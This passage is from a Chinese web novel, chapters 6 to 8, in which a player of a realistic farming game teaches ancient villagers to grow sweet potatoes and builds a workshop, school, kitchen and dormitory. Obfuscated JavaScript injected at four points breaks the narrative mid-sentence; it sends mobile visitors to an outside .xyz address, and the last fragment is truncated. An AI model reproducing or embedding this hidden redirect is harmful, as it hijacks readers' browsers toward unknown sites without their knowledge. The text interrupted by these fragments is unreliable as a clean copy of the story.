再看看其他属性,大都是一些比较基础的初级种地,初级钓鱼,初级打铁这类属性,等他翻看到其中唯一的一个小女孩时,属性界面却特殊起来。 【特殊属性】:幸运增幅。 除了这四个字以外,再无其他解释。 姜定思索片刻,大概知道这属性的作用了。 全部查看完后,姜定分别按照他们每个人的属性给他们安排了适合的工作,因为种子不够多,所以种地安排的人手较少一些,最多的人手,还是开荒。 毕竟前期捡垃圾也能赚钱,还有利于之后在附近建造其他建筑。 就在他给每个人分配好工作后,游戏突然弹出了好几个任务。 【你雇佣的工人逐渐增加,但是工具却只有一套,快点建造锻造工坊,打造更多的工具吧!】 【你雇佣的工人数量太多了,人员的吃饭问题需要解决,快点建造厨房吧!】 【你雇佣的工人需要一个遮风挡雨的房屋,请为他们建造临时宿舍吧!】 【你雇佣的工人文化水平堪忧,沟通太是个问题了,赶快建造学堂吧!】 四个任务连续蹦出来,姜定顺着游戏给他指的方向看过去,分别看到四个黄色的箭头,——那是游戏让他建造的位置。 挨个查看四个任务,姜定忍痛决定先建造锻造工坊,毕竟不能让这些人徒手干活啊。 【确定花费石块400个,干草200个建造锻造工坊吗?】 姜定沉默着看了看背包里的物资,最后咬牙选择同意。 先前张山为他挖掘出来的物资,瞬间清空一大半。 建造的速度极快,五秒后,一座简易的锻造工坊已经建造完毕。 用剩余的物资打造出二十把工具后,他的背包材料显示全部耗尽。 姜定心痛之余,只能期待着这些人能给自己挖掘出更多物资,好让他完成其余任务。 安顿好工作后,姜定脚步一转,先去了那条小路。 而这些人眼看着姜定消失后,这才有胆量谈论。 “仙师刚才刷地一下,就建造出那座楼来,我活了这么多年,还是头一次看到仙人施法!” “果然不愧是仙师,我还没开口,仙师竟然知道我最擅长的是打铁。” “你们刚才看到没有,仙师背后那条金龙?” “自然是看到了,威猛至极啊!” “竟然只让我们干4个时辰就下工,还给100文工钱,仙师真是慈悲心肠啊。” 大伙激动得直打摆子,张山心里也高兴,张氏被安排去采集,他家梅姐儿也被安排去采集,这是个很轻巧的活计,工钱竟然还能给100文。 算下来,他们一家三口,一天足足能够赚300文! 张山这么想了,其余人也开始琢磨开了。 眼神扫过张氏和她家女儿时,大伙心里也是火热一片。 ——他们还是不如张山啊,但凡胆子大点,将家里人也带来,岂不是收入更高,更别提仙师怜悯妇幼,只肯让她们去采点野花野草的,这活和白捡钱有什么区别? 不过羡慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783132|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归羡慕,大伙倒是没有说嫉妒的,毕竟没有张山告知他们有这美差,他们别说赚钱,今年就算是饿死,又能如何呢? 里正心里也是不平静,张山所言竟然全部属实,等到晚上看看,若是工钱能够及时发放,他也考虑在下一次上山时带上全家人过来,毕竟外面吃不饱饭,来仙师这里能赚钱,赚到钱他们能去买食物,可谓是另一条活路了。 张山扫过众人激动的脸庞,忍不住开口,“大伙激动归激动,但是仙师给我们的任务是一定要完成的,但四个时辰一定不能超,上次我误了时辰,仙师很是不悦。” 其余人连忙应下,里正唏嘘一声,心里感慨万分。 ——这世上竟然还有如此悲悯的神仙,100文的工钱,竟然只让他们做工4个时辰,换到哪里都没有这好事,他早年间也是出去闯荡过的,外面那些老爷们,哪个不是希望他们拿着最低廉的工钱,干着时间最长的活计? 果然只有仙师才有这份怜悯心,单论这份慈悲胸怀,世间万人决不能和仙师相论。 这么想的人不仅仅是里正一人,其余人开荒中还在不停地感激仙师,在姜定不知情的情况下,工人们的忠诚度连续提升,直至提升到60。 而姜定此刻则正沿着那条小路往下走去,等到走到小路尽头时,他发现路的尽头被堵得严实,其中有一处小口,正散发着悠悠金光。 他凑近了点看,好不容易才看清楚上面写的字。 【复辟此路费用为一万两。】 ...... 姜定盯着一万两沉默了。 ——垃圾游戏! 也就是说,在他没赚到一万两前,他就算有凤仙县地图也休想出去,这是被困死在了这个小山头了! 姜定绝望,一时间甚至想狂点退出,去游戏评论区给这游戏一个差评,但是深呼吸几口后,他双眼冒火,胜负欲上来了。 想用这条路来卡进度是吧,他偏偏不服,几乎瞬间,姜定脑海里就蹦跶出不少新想法。 单纯地让工人给他种地,开荒,肯定是很难积攒到这些钱的,唯有做生意才能更快地获取金钱。 做生意要有能够售卖的东西,在这个架空朝代,他首先要搞清楚这里的基础情况才能确定要售卖的东西。 想明白这些,姜定原路返回,决定去找忠诚度最高的张山问问情况。 等张山被仙师叫走后,他听到仙师淡淡开口。 “张山,我接下来问你的话,你必须如实作答,你可能做到?” 张山狂点头,紧接着对话内容逐渐奇怪。 “你可有土地?种的作物是什么?产量如何?” 张山思考片刻,毕恭毕敬回道,“小人家中有三亩薄田,每年开春种植粟米,每亩地能够产出300斤粟米,每年像我这样的人家,能够盈余1,2两,不过今年是个灾年,干旱导致粟米颗粒无收。” ——相比于现在每亩千斤来看的话,古代的产量真是够低了,再加上灾年,姜定几乎可以肯定的是,现在粮食价格肯定居高不下。 “为何不种植小麦?” 以姜定浅薄的农业知识,他依稀记得小麦似乎能一年两熟,不比小米一年一熟的好? 6.第6章 意外 张山苦笑,“仙师说笑了,那等娇嫩的作物不是我们能够栽种的,产量太低导致价格很高,只有官老爷和富商们能够吃得起,再说了,我们并不会伺弄小麦,小麦作物都是外来的农人伺弄的。” 姜定后知后觉,——小麦没整出杂交技术前确实产量不高,现在古代肯定没有优质的小麦种子,再加上这些人不懂得一年两熟制度,小麦种植更难了。 “见过地瓜吗?” 姜定试探着询问,地瓜产量高,若是他们这里没有这玩意的话,他或许可以让这些人多多种植地瓜,毕竟他手里最多的就是地瓜种子了。 “不曾。” 张山一阵恍惚,因他并没有被分配到种田,所以并不知道地瓜到底是个什么玩意。 姜定接下来又询问了他一些集市上售卖的东西,以及对应的价格,等到张山晕乎乎离开时,姜定对他接下来要做的事有了打算。 从张山口中他得出结论,这里没有地瓜,也没有优质小麦,没有豆腐等豆制品,穿衣穿的是粗麻布衣,行只靠马车,住也是最为普通的茅草屋或砖瓦房,无论吃穿住行,完全是一片待开发的蓝海啊! 姜定内心火热,迅速做出决定。 ——先推广地瓜,保证这一片区域的人口存活,不然人都饿死了,他的劳动力也算是彻底没了,后续的商业帝国肯定更是彻底没戏了。 除却保护劳动力这个原因之外,推广地瓜救助民众也有利于他个人名气的积累及后续招工的顺利进行,毕竟这游戏太真实,名气没有积累的话,他之后的路应该会走得很艰辛。 为了更快速推广地瓜种植,姜定决定让手下的工人去免费推广种子,除了推广种子,栽种技术的宣传也要到位。 等到地瓜保住这些村民的命后,他就可以用捡垃圾积攒到的初始资金建造和地瓜相关的农副产品工坊,到时候原材料和劳动力都有,还怕赚不到钱? 姜定美滋滋地想了又想,为了更快地积攒到建造其余任务的材料,他按下了下一天。 【是否度过今天?】 姜定选择了是。 日月流转,很快,这一天过去了。 【你已存档,这是你来到大炎朝的第三天,你的工人似乎在种植方面遇到了麻烦。】 姜定瞬间瞪大眼睛,随后赶往农田。 等他到了后,发现屏幕里跳出来不少提示。 【番薯种子种植深度不够,预计发芽率为20%,请在培训你的工人后,重新种植种子。】 深度不够不能发芽? 这游戏也太过于真实了吧! 姜定一阵头疼,随后又注意到了后半句的描述。 ——培训工人。 看来他必须要建造学堂了,等到建造学堂后,想必这些人应该能够学会对应的知识。 一旁负责种田的三个工人,此刻看到仙师微微蹙眉,心里直突突, ——仙师这是不满意了?难道是他们三人种植出现了错误? 但是让他们上前询问仙师,他们又不敢,只能迷茫而又恐惧地盯着姜定看。 姜定在看到三个工人脑袋上蹦出来的【恐惧】状态后,很是无语。 索性不理会,径直前往荒地。 等到越来越接近荒地时,他眼前也逐渐跳出一大堆提示。 【你的工人为你采集到了以下物资:石块*4300,干草*2230,木头*1200,蛇毒果*96,苹果*102,番薯种子*133,小麦种子*104,苹果树苗*8,桃树苗*6,菌菇包*8。】 【检测到你的工人携带幸运增幅属性,额外为你采集到千年人参一颗。】 姜定瞪大眼睛,他虽然能猜测到幸运增幅的大概作用,但没想到,竟然还能获得一颗千年人参,按照游戏的尿性,后续这人参肯定是某个事件的特殊物品。 收下这些物资后,姜定先用物资建造学堂。 【确定花费1000石块,600干草,300木头建造学堂?】 按下确定后,很快,学堂率先建了起来,而与此同时,姜定又建造了厨房,以及临时宿舍。 等到建造完毕这三个后,他手中的物资再次告急。 荒地已经被工人们开发了五分之一,再过几天,他连捡垃圾都捡不到了,姜定顿觉压力大了不少。 按照游戏规定,姜定一边肉疼,一边给工人发放工资,只见一阵金光闪烁,二十六个人怀里都多了一个荷包。 碍着仙师在,这些人都没敢拆开荷包查看里面的铜板,但荷包沉甸甸的重量告诉他们,这里面十有八九是足够的。 姜定给工人们发放完工资后,转而点进学堂。 ——得赶紧培养工人们的种植知识,不然这批番薯算是没救了。 然而等姜定看清楚学堂教学要求后,忍不住眼前一黑。 【学堂建造完毕,你可以传输相应的知识给你的工人,不用担心文字不通哦,学堂的播放设备会自动转化文字的。】 姜定看了一眼空白的,等待他输入的区域,内心麻木。 ——疯了吧,他去哪里找番薯种植知识啊! 深呼几口气,姜定捋了捋思绪,死马当活马医地从网上某农业权威网站上找到番薯的种植养护视频,然后复制链接,将这个链接复制到了空白区域内。 本以为肯定不行,但让姜定意外的是,那串链接输入后,游戏竟然跳出提示。 【已检测到你输入的内容,正在转换,转换成功,可以让你的工人进来上课了!】 这学堂建造的和现代教室一样,窗明几净,讲台位置放置着投影仪幕布。 看着坐在下面穿着古装的古人们坐在现代教室里,姜定内心情不自禁地产生一股难以描述的异样感。 ——额,这就是游戏组的恶趣味吗,你自己看这画风合适嘛! 让古人在现代教室上课,这画风不要太辣眼睛啊! 姜定在内心疯狂吐槽。 而在游戏内。 张山等人在姜定离开视野后,先是打开荷包仔细数了数铜板,随后热泪盈眶。 仙师果然是仙师,一言九鼎,说是100文果然就是100文,不多不少正正好! 他们昨晚吃了点在山上猎到的野味,轮流守夜,睡得很好。 再说,昨天开荒只需要干4个时辰,实在算不上累人,所以到今天时,所有人都是满血状态。 一行人本想继续工作,结果一道仙音入耳,让他们先去学堂听课。 众人稀奇不已。 “这就是仙音吗,人都不用来,我居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784069|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听得这么清楚?” “我也听到了,还以为我耳花听错了。” “学堂?是不是刚才才出现的那座奇怪屋子?” 说话的人是年纪最小的张六。 和昨天一样,一大早,外面突然出现了三座奇怪的屋子,没有仙师的允许,谁也不敢随便进入,现在得到仙师的召唤,一行人兴奋之余也有些担心。 “好怪的房子,咱们要进去么?” “反正我要进,我感觉仙师绝对是好神仙,我不怕!” “学堂,也不知道是学什么的?” 一行人嘀咕着进入学堂,而里正则是坠在人群的最后面。 他心里有点没底,仙师是好,但这学堂也真是怪啊! 白得惊人的墙,比官老爷用的琉璃,贝母还要透的窗户,还有眼前不断播放着的仙影,无时无刻不在提醒着这学堂的与众不同。 这群人都是粗人,生平第一次进学堂,手脚紧张得都不知道往哪里放。 等他们同手同脚地进入屋内,找个位置刚坐下来,就先被突然出现在眼前的人吓了一跳。 不过等听到这人说话后,众人便懂了。 “嘿,这是教我们学种植了?” “这位也是神仙吧?他是怎么进入这里面的?” “这神仙穿衣好生奇怪,打着赤膊,衣服也不像是咱们这儿的。” “嘘别说了,一会神仙该恼了。” 张山看着眼前不断播放的物什,忍不住想,这难道就是说书人口中说的修仙另一方天地? 所以是另一方天地的神仙正在教授他们? 里正也吃了一惊,不过等他听明白里面的神仙讲的番薯种植养护后,眼睛不由自主地瞪大。 ——他没听错吧,这叫番薯的此物,耐干旱,且能够亩产6000斤?按照这神仙的说法,亩产6000斤还是在普通条件下生长的,若是放在最适合的环境下,甚至能做到亩产10000斤! 这样好的仙物,若是能够大面积种植,他们整个斗坡村,不,甚至整个凤仙县饥荒的问题便会迎刃而解! 教授他们的仙人说这叫番薯的此物,吃起来甘甜粉面,味道很是不错。 虽说他们一行人都没吃过,但光是看神仙的演示,他似乎已经尝到了这物的滋味。 里正内心火热,恨不得立马出门去求仙师,恳请他将此物带到凡间。 而昨天负责种植番薯的三人,则是越看越心惊。 ——若是按照神仙教授的方法来看的话,他们昨天算是闯下大祸,种植深度不够,会造成这批次番薯无法发芽! 三人瞬间背上渗出薄汗。 ——先前他们三人商量一番后,按照往日的经验将番薯种了下去,谁能想到,竟酿成了大祸! 联想到早上仙师蹙眉的模样,三人腿都吓软了,其中一个是出了名的老实人,眼看着犯下大错,急得拉住里正求救。 “里正,吾命休矣啊!” 里正从畅想中回神,结果就看到三人软了腿,瘫倒在地。 等到里正知晓了种植之事后,惊讶过后,便是古怪。 ——仙师一早便发现了异常,但是他却未曾怪罪,反而开设学堂,让神仙亲自来教授他们,这是何等的胸怀,何等仁慈的仙人啊! 7.第7章 新奇 再看向怕得发抖的三人时,里正叹了一口气,将这三人扶起来。 “你们还没发现吗?” ? 三人看向里正的眼神充满疑惑,里正抚了抚自己的胡须,眼神中带着动容。 “仙师神通广大,若是想怪罪于你们,今晨就处理你们了,但是他没有,反而是找神仙过来亲自教导我们,这说明了什么?” “......这......说明了什么?”三人咽了口唾沫,其余人也目不转睛地盯着里正看,所有人等待着里正的下一句话。 “说明仙师他能体恤犯错之人,有道是一而再,不可再而三,早上你们有没有注意到仙师面露懊恼?” 三人绞尽脑汁地回想,因当时三人都害怕了,没能仔细查看仙师的脸色,这么一想,顿时懊悔极了。 “里正,当时我也看到了。” 说这话的人不是别人,正是张山的妻子,张氏。 张氏有点紧张地看了看周围,低声道:“想必仙师是懊恼昨天没教导我们,所以才会发生今日之事,仙师在事发的第一时间先开始找自己的问题,这恰恰说明了仙师那广阔的胸怀,大伙想想,咱们去外面打零工,哪里曾有人像仙师这般待我们?” 经过昨天姜定给她们母女二人安排采集的活计后,张氏早就对这位的温和耐心动容不已。 其余人一寻思,——没错啊,是这个道理!仙师果然和那些人不一样! 三人本觉得吾命休矣,这会瞬间满血复活,个个跃跃欲试。 “里正,我们三人先过去重新种植番薯去,这样才能不负仙师。” 里正点点头,示意三人可以走了,这三人像是一阵风,打着旋地跑了。 而剩余的人则在看完了学堂教授的知识后,这才出门,继续干着先前仙师吩咐下来的任务。 慈悲为怀·反躬自省·姜定此刻正拿着今天刚得到的番薯种子沉思。 ——切开芽点是个费劲的事,索性直接让工人干吧,反正姜定在品尝到不用干活的滋味后,自是不想再亲自动手了。 做好决定后,姜定先查看这群工人的位置,等确定这些人在学堂上完课后,他这才带着番薯种子过去找他们。 姜定先去了种植区,想看看工人在上完课后是否懂得将栽种错误的番薯刨出来,继续栽种,等他来到种植区时,恰好看到三个工人干得热火朝天,先前田地里显示着的是种植错误,而此刻,眼前的田地里,各个都显示着种植成功。 姜定兴奋了,先前被游戏恶心到的感觉瞬间消失了一大半,他走近田地,确定学堂教育有用后,自豪感油然而生。 既然这三人都会种植番薯了,想必不用他说,应该直接能切割番薯种子芽点了。 果然,将种子分发下去后,三人以极快的速度切割芽点,随后继续埋头种植。 效率很高,干活像是不要命一般。 不得不让姜定感慨这8小时花钱花得也不亏。 目前,他对自己开荒出来的田地定位是试验田,从这块田地种出来更多种子后,他才能让这些人下山替他推广番薯。 为了让时间更快流转,姜定决定再睡一觉,让时间快速度过。 结果游戏提醒弹了出来。 【请先查看厨房,投放食物。】 !!!对了,上次他建的宿舍和厨房他还没来得及看! 姜定连忙点开页面,查看昨日建造好的宿舍。 里面空空如也,为了保证最基础的住宿功能,姜定花了点小钱,给宿舍升了一级,游戏总算显示可以入住了。 而厨房则是提醒他需要投入物资,制定售卖价格。 ——物资.....他现在就有点苹果,剩下的全是种子和其余的建筑材料了,哪有什么食材能投入! 【可以购买最便宜的食物给你的工人,不然工人工作效率会降低哦。】 姜定无语,最终选择了价格最为低廉的粗粮野菜包子。 他的购入价格是1铜板一个,游戏建议他的售卖价格为2铜板一个。 ......基本上算是没有收益吧。 1铜板的收益实在没意思,姜定草草选择售卖,不再关心这事。 连续睡了两天,他终于看到了美妙的提示。 【你已存档,这是你来到大炎朝的第四天,你的番薯成熟了!快去看看吧!】 姜定大喜,先去了田地,一进入田地,入目满当当的全是待采摘的字样。 三个工人站在田地尽头,没有动作,姜定点开这三人,让他们挖掘番薯。 这三人脑袋上先是冒出【......】随后停顿片刻,开始挖掘番薯了。 试验田情况良好,姜定自然要去前面寻找合适的人选替他下山推广了。 在去的路上,姜定还在思索该让谁去。 ——张山?忠诚度虽高,但是上次看这人的属性,不是能言善辩的。 等会,他记得好像其中有个老头属性是游说! 姜定小跑着赶往前面荒地,想点开工人,仔细寻找当时那人。 而被命令挖掘番薯的三人,则是纷纷叹气。 按照前日神仙教导的养护方法,番薯不应该是这个时候成熟啊! 但是仙师的话他们又不敢不听,只能边叹气边挖番薯,——浪费哇,才埋下去两天,种子甚至还没来得及长根,更别提结果了! 然而等一锄头下去,感受到泥土下那强有力的阻力后,三人瞬间瞪大眼睛。 难道真长熟了? 不可能吧? 用力一刨,几个沾满泥土的胖嘟嘟番薯滚落出来。 用手掂量一番,单个番薯都得一两斤了! 三人互相对视一眼,都从对方眼里看到了震撼。 荒地。 里正还在想昨日番薯之事,本想去求仙师可否将番薯种子让他带一点走,但连着两天,他都没能找到仙师。 一旁的村人正边干活边唠昨晚睡觉的住所。 “仙师给咱们住的地方可真好啊,能洗手洗脸,上茅房也干净得紧。” “昨日洗澡可真痛快,依我看,比花钱去的澡池子还要舒服。” “竟是免费的,先前我听他们说澡池子进去一次得5个铜板,这只是门票,像胰子还是要自己另外花钱再买的。” “昨日仙师给咱们用的胰子应该很贵吧,我第一次用那种有香味的胰子,可真好。” ...... 被这群人夸得天上有地下无的住所,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787767|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实就是很普通的学校宿舍,公用的洗漱间和厕所,每6人住一间房,住的是上下铺。 先前这些人还不敢进宿舍,在得道仙音传声后,这些人才敢踏进去。 倒是没想到,里面竟然有个和他们穿衣打扮相似的人正等着给他们介绍呢。 ——这玩意正是游戏里虚化出来的引导。 他先带着众人进大门,随后,众人这才看清楚屋内奇怪的设计。 “从这里往左看是男人住所,右边是女人的住所,每间房住6人。” 这人带着众人走到公共洗漱间,指着一块奇形怪状的管子道:“此物名为水龙头,拧开即可出水,这水可用于洗漱。红色为热水,蓝色为冷水。” 随后,他又指着一个方方正正的盒子样式的东西道:“此物名为饮水机,想喝水只可喝这里的水。” 众人懵懂点头,似乎是想到了这些人可能不懂,这人手动给他们演示了一遍。 洗漱间介绍完毕,这人又带着他们进入厕所和浴室。 “这物名叫便坑,会自动出水冲走污秽,任何人不得在非厕所以外的地方如厕。” 随后领着众人走到一个房间内,指着数个圆盘道:“此物名为花洒,沐浴可以打开下面这个旋手,水温适中,无需调节。” 等到演示完这些后,这人消散不见,其余人则是大眼瞪小眼,互相懵逼。 最后里正开口让众人按照吩咐,该洗漱洗漱,该睡觉睡觉。 因为是男女分隔住宿,张氏只能带着梅姐儿两个人暂时入住,一进去,屋内竟然已经铺设好了崭新的床铺。 看着一尘不染的床铺,张氏果断拉着闺女先去洗漱再过来。 去之前,她带上了替换衣物,按照刚才那人介绍的,她和女儿在更衣室换下脏衣服,将之塞进柜子里,随后进去沐浴。 一打开花洒,水温适中的水均匀舒适地覆盖在全身,这时候,梅姐儿眼尖地发现,左手边的架子上出现了东西。 张氏勉强认识几个字,在看清楚上面写的字后,很快便明白了此物用途。 ——是供沐浴用的胰子。 不过这胰子带有香味,稍微一揉搓就是丰富的泡沫,用起来极为舒适。 张氏给梅姐儿揉搓头发,两人洗得干净,这才去更衣室换好干净衣物。 等到回到住所,躺在舒适柔软的床上时,张氏觉得自己和做梦一样。 她也算是见过神迹了,今日所见,比她过去几十年间还要奇妙。 潜灵山真是个好地方,真希望能一直给仙师做工。 一大早,众人在仙师的安排下,纷纷前往厨房。 厨房不大,只有个售卖窗口供人购买饭菜。 有眼尖的发现,最前方挂了一个牌子。 【粗粮野菜包子】:2文一个。 竟是吃的! 以往不是灾年时,一个素包子价格的确也是2文一个,但是现在可不是以往,今年受灾,县城里的包子一个至少要卖10文一个! 山上这价格相比于县城,堪称良心了! 众人赶紧围上来,张山一家这几日赚了不少,2文的包子他一口气买了五个。 将铜板塞进一个箱子内,从那售卖口推出来五个大包子。 8.第8章 变好 暄软热乎,带着一股粮食和野菜混合出来的香味。 包子个头不小,至少要比县城里售卖的个头大。 众人目测,饭量小的,一个包子就能吃饱了! 有人打头,之后买的人就多了起来,铜板像是不要钱一般,疯狂往里面塞。 直至最后,每个人手里都捧着一个野菜包子,吃得香甜。 里正和张山凑到一起啃着包子。 张山张嘴咬包子,“这包子虽说是素馅的,倒也别有一番滋味。” “你也不看看里面放了多少油。” 里正轻啧一声,掰开包子,这会看得清楚,里面的素馅被浸得油汪汪的,看着就好吃。 “咱们在这里有吃有喝,睡觉地方也好,我算是看明白了,仙师是活菩萨,在那天上看不过咱们受苦了,这才下凡来救助咱们了。” 里正握紧手,感慨万千,张山小鸡啄米似点头。 “等过几天我们再找村人上来干活吧!” “一切还得是看仙师的意思。” 两人说完话后,各自分开干活,一群人干得热火朝天时,张山扫到了那熟悉的一抹青色袍角。 顿时激动万分,小声对着里正嘀咕。 “仙师来了,里正。” 里正偷闲瞟了一眼远处,想到自己一会要说的话,顿时心跳如擂鼓。 ——仙师是否愿意让他带着这番薯回去教授村人? 这番薯是神物无疑,他说这话是否太过于唐突? 还在犹豫之际,倒是听到那清冷出尘的仙音传来。 “你是斗坡村的里正?” 里正瞬间意识到和自己说话的人是谁,赶忙直起身子,颤抖着开口。 “正是在下,不知仙师找老夫有何事?” 他偷偷打量着姜定,想看出仙师的喜恶,不过令人失望的是,仙师并未流露出多余的情绪,他只能作罢。 “我找你是想委托你以我的名义,推广番薯,你可愿意?” “推广番薯......什么!您愿意让我推广此物?” 里正重复一遍后,双眼瞪大,激动得浑身颤抖。 他想了很多,甚至想仙师不同意他就算下跪也要试试看,结果谁能想到,他还没来得及开口,仙师却主动让他教授百姓番薯的种植。 里正呼吸急促,面对仙师的委托,他立马接过仙师手中的番薯,点点头,同意了。 面对里正的反应,姜定有些意外,但随后一想又释然了,游戏设定嘛,理解理解。 一般来说,得按照游戏推荐的属性让工人工作,这样才会利益最大化。 游戏弹出提醒。 【或许里正的工资需要提高一些了。】 ...... 姜定想假装没看到,但游戏竟然更贴心地将里正的雇佣界面打开。 ...... 于是,姜定被迫往上增加了100文,作为里正四处游说的公费补贴。 将事情交代给里正后,姜定总算是松了口气。 起码一点点开始起步了。 而在他不知情的情况下,人群的满意度已经缓缓涨到了10。 【恭喜玩家解锁成就“种植菜鸟”“精打细算的理财师”。】 什么鬼,精打细算是在内涵他吧?!绝对是吧? 姜定抽搐着眼角,刚想继续玩游戏,就听到熟悉的铃声响了起来。 “嘟滴嘟滴——” 他用的是原始铃声,拿过手机一看,正是房女士打来的。 “儿子啊,你给妈送一下个人考核本,就在茶几上放着,赶在下午6点前送来啊。” 姜定刚想说给他家母上大人点个跑腿行不行,那边电话已经挂了。 想想自己在家里的地位,姜定决定还是不要作死回拨了,索性拿了东西亲自骑车去送。 房女士单位距离家骑小电驴需要15分钟,不算远。 姜定去车棚推电驴,等他带好头盔,骑车到西门门口时,却被门口空闲的一辆共享电驴惊呆了。 ——太阳打西边出来了? 他居然能遇到没人骑的小电驴? 揉了揉眼睛,姜定鬼使神差走到那电驴前,仔细查看后得出结论——这辆车完好无损,上路没问题。 遇到共享电驴不是一件奇怪的事,但奇怪的是让他给遇到了! 姜定从小到大身子比较虚弱,运气也差,房女士带着他找了不少大师,最后得出结论是没啥脏东西,就是纯粹的运气不好而已。 要说运气差,差到了哪种程度呢,不至于说危急生命,但是一丁点好事都不和他沾边。 大到升学考试,小到买饮料。 可以说能大学毕业,全靠姜定自己勤勤恳恳努力,不掺杂任何运气成分。 ——所以即便他家门口就是共享电驴的投放点,按道理是不用再买电驴了,但可恶的是,姜定运气太差,从未能遇到空闲的电驴,就算遇到了,电驴也是无法使用的状态。 所以在看到一辆完好无损的电驴时,他才会这么震撼。 到底是赶时间,姜定没多耽误,先去给房女士送考核本,路上倒是顺利,一路绿灯,畅通无比。 预计十五分钟的路程,姜定只花了十分钟就到了,他人到房女士单位时,看到的就是这群人正聚在一起,说着什么。 姜定走了几步,在人群里喊妈。 “儿子,你来了!” 房女士伸手,招呼姜定过来,等姜定走近了,这才发现他们正在领端午节的礼品。 一箱糯米甜枣粽,一箱咸鸭蛋,以及一袋大米,一袋面粉。 其中最显眼的是那箱糯米甜枣粽,和往日翠绿的包装不同,这次的包装外壳金灿灿的。 杨阿姨似乎是看到了姜定盯着粽子看的眼神,捂嘴笑着打趣。 “小定,这粽子是有奖的!一等奖说是一份金枣,就藏在这粽子里呢!” 姜定:......所以和他这个倒霉鬼有关系么? 礼貌和杨阿姨客套两句,将个人考核表递给房女士后,姜定又被喊着将东西带回去。 ...... 姜定老老实实干苦力。 临走前,房女士还不忘嘱咐他。 “回去你给粽子蒸熟了,妈一回家就能吃上。” ...... “好的妈。”姜定卑微开口,房女士挥挥手,让他赶紧回家。 等到他回去的时候,依旧是一路绿灯,姜定差点要怀疑今天的信号灯是不是坏了。 但是也不对啊,至少他通过后,亲眼看着信号灯变红了。 姜定在这边吭哧吭哧的跑腿,而游戏内,则已是另一番光景。 里正在拿到番薯种子后,就连忙下山,直奔斗坡村而去。 他也是学过番薯的养护与种植的,所以推广番薯种植,对于他来说不算是一件难事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798657|157987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今年干旱,不少远离水源的土地根本无法栽种,但是村里还有二十来亩靠近水源的地,若是将这些地集合起来全部种植番薯,按照番薯的产量,村民今年也不至于会饿死。 里正越想,脚步越匆忙,而等他回到村子里后,立即召集了村民,等到人差不多来齐了后,将自己打算联合村民,一起种植靠近水源的土地这事交代了出去。 意料之中的,这事受到了质疑。 “里正,一起种地是个办法,但是种什么也没法让全村这么多人吃饱饭啊,不说吃饱饭,就算是五分饱,那也是远远不够的。” 说话的人和里正一般年岁,名叫张德,村人都喊他老张头,是个种田的一把好手。 他熟知各类作物的种植节气和技巧,在村里威望也不低。 里正提出合种是个好办法,但这从根本上来说没用,毕竟产量就放在那里,就算大伙肯合种,但如何去安排劳动,又如何去分本就不够的粮食,这也是个问题。 老张头这话一说,不少人暗自称是,不过碍于里正,也不好开口。 里正呵呵一笑,不慌不忙地对着众人道:“若是没有解决办法,我如何会召集你们。” 老张头眼神如炬,似乎很好奇里正接下来要说些什么。 却看到这人一直背着的手伸展开来,在他的手心中,赫然是一块未曾见过的红褐色块根。 “...这是?” 看到众人注意力都被手心的番薯夺走,里正悠悠道:“此物名叫番薯,可亩产数千斤,且需要的水量极少,合种的土地上,我打算种植的便是此物。” “亩产数千斤?” “需要用水极少?” “这话可当真?里正?” 几个关键词一出来,本没报什么期望的众人瞬间沸腾。 这会正七嘴八舌地询问这名为番薯之物。 里正咳嗽了几声,说明白了这番薯是仙师赐给他们活命的东西后,不少人也蠢蠢欲动,想跟着里正上潜灵山替那位效力。 就连先前犹豫的人家,此刻也动心了。 里正一一扫过这些人,倒是没有着急着招揽他们,毕竟这次下山,仙师交给他的任务不是招募,而是让他给众人教导番薯养护。 越过仙师替他做决定,里正不敢逾越。 他将招募之事放下,率先安排本村番薯的种植事宜。 靠近河流的田地暂时合种,田地的主人可以多分一些番薯作为补偿,里正按照着神仙教给他的知识,将番薯养护一一教导给村人。 切块,栽种,浇水,捉虫,几乎每一样都安排好了村人,就等着番薯成熟收获。 